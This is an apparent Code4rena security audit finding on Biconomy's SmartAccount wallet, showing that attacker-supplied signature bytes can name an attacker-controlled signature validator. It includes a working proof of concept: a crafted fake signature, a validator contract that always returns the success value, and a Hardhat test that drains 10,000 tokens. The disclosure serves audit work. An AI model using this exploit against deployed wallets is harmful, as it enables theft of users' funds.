An attacker can execute any transaction by passed own contract signature validator

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L196 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L218 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L312

Vulnerability details

---

Vulnerability details:

Short issue description:

Since the ISignatureValidator contract is taken from the signature that the user passes. He can pass his ISignatureValidator and make any signature valid, and as a result perform any transaction, because the user can set the address of ISignatureValidator in the signatures parameter

---

Impact

• Worst cases: Collection of all funds and transfer of ownership over the contract
• Execute any transactions
• Repetition of all passed transactions
• Loss of funds
• Excessive refund payment
• Everything that follows from the above points

  ---

Tools Used

https://github.com/code-423n4/2023-01-biconomy/ hardhat

---

Recommended Mitigation Steps

• whitelist ISignatureValidator
• remover functionality

Proof of Concept

Let's now analyze in detail::

The execTransaction and checkSignatures method has the following highlights::

• Transfer signatures a separate parameter

• call checkSignatures with passed signatures field

• split signatures

• get _signer from r

• more gate for s

• call isValidSignature from _signer

Let's bypass all the gates for s and substitute our _signer To pass signature validation, we can use the following signatures:

const fakeSignature = ethers.utils.hexZeroPad(fakeImpl.address, 32) + "0000000000000000000000000000000000000000000000000000000000000041" 
+ "00" + "0000000000000000000000000000000000000000000000000000000000000000"

• ethers.utils.hexZeroPad(fakeImpl.address, 32) - address of attacker to standart r bytes format
• 0000000000000000000000000000000000000000000000000000000000000041 - selected s for passed all gates
• 00 - selected v for go to inner first if for check contract signature
• 0000000000000000000000000000000000000000000000000000000000000000 - selected contractSignature for passed all gates

Then we need create Attacker contract like next:

pragma solidity 0.8.12;

contract FakeSignatureValidator {
    function isValidSignature(bytes memory _data, bytes memory _signature) public view virtual returns (bytes4) {
        return 0x20c13b0b;
    }
}

Now we simulate the situation which we want to test: User A created SmartAccount, 10,000 USDT was deposited into the contract Attacker created a fake signature and received all USDT from contract (Attacker can execute any transactions)

---

Tests

Tests proving the issue were added at the end project test file with the removal of other tests present in it) Tests:

  it("Fake signature issue", async () => {
    const owner = accounts[0];
    const attacker = accounts[10];
    await token
      .connect(owner)
      .transfer(userSCW.address, ethers.utils.parseEther("10000"));
      console.log(
        "-Balances: owner- %d, userSCW - %d, attacker - %d",
        ethers.utils.formatEther(await token.balanceOf(owner.address)),
        ethers.utils.formatEther(await token.balanceOf(userSCW.address)),
        ethers.utils.formatEther(await token.balanceOf(attacker.address))
      );
    const safeTx = buildSafeTransaction({
      to: token.address,
      value: 0,
      nonce: await userSCW.getNonce(0), // doesn't matter,
      targetTxGas: 1234,
      data: encodeTransfer(
        attacker.address,
        ethers.utils.parseEther("10000").toString()
      ),
      operation: 0,
    });

    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };

    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };

    const FakeSignatureValidator = await ethers.getContractFactory(
      "FakeSignatureValidator"
    );
    let fakeImpl = await FakeSignatureValidator.deploy();
    await fakeImpl.deployed();

    const fakeSignature =
      ethers.utils.hexZeroPad(fakeImpl.address, 32) +
      "0000000000000000000000000000000000000000000000000000000000000041" +
      "00" +
      "0000000000000000000000000000000000000000000000000000000000000000";

    await expect(
      userSCW.connect(attacker).execTransaction(
        transaction,
        0,
        refundInfo,
        fakeSignature
      )
    ).to.emit(userSCW, "ExecutionSuccess");

    console.log(
      "-Balances: owner- %d, userSCW - %d, attacker - %d",
      ethers.utils.formatEther(await token.balanceOf(owner.address)),
      ethers.utils.formatEther(await token.balanceOf(userSCW.address)),
      ethers.utils.formatEther(await token.balanceOf(attacker.address))
    );

    expect(await token.balanceOf(attacker.getAddress())).to.equal(
      ethers.utils.parseEther("10000")
    );
  });

Results

-Balances: owner- 990000, userSCW - 10000, attacker - 0
-Balances: owner- 990000, userSCW - 0, attacker - 10000

[c4-judge]

gzeon-c4 marked the issue as duplicate of #175

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[livingrockrises]

confirmed duplicate of #175

[c4-judge]

gzeon-c4 marked the issue as satisfactory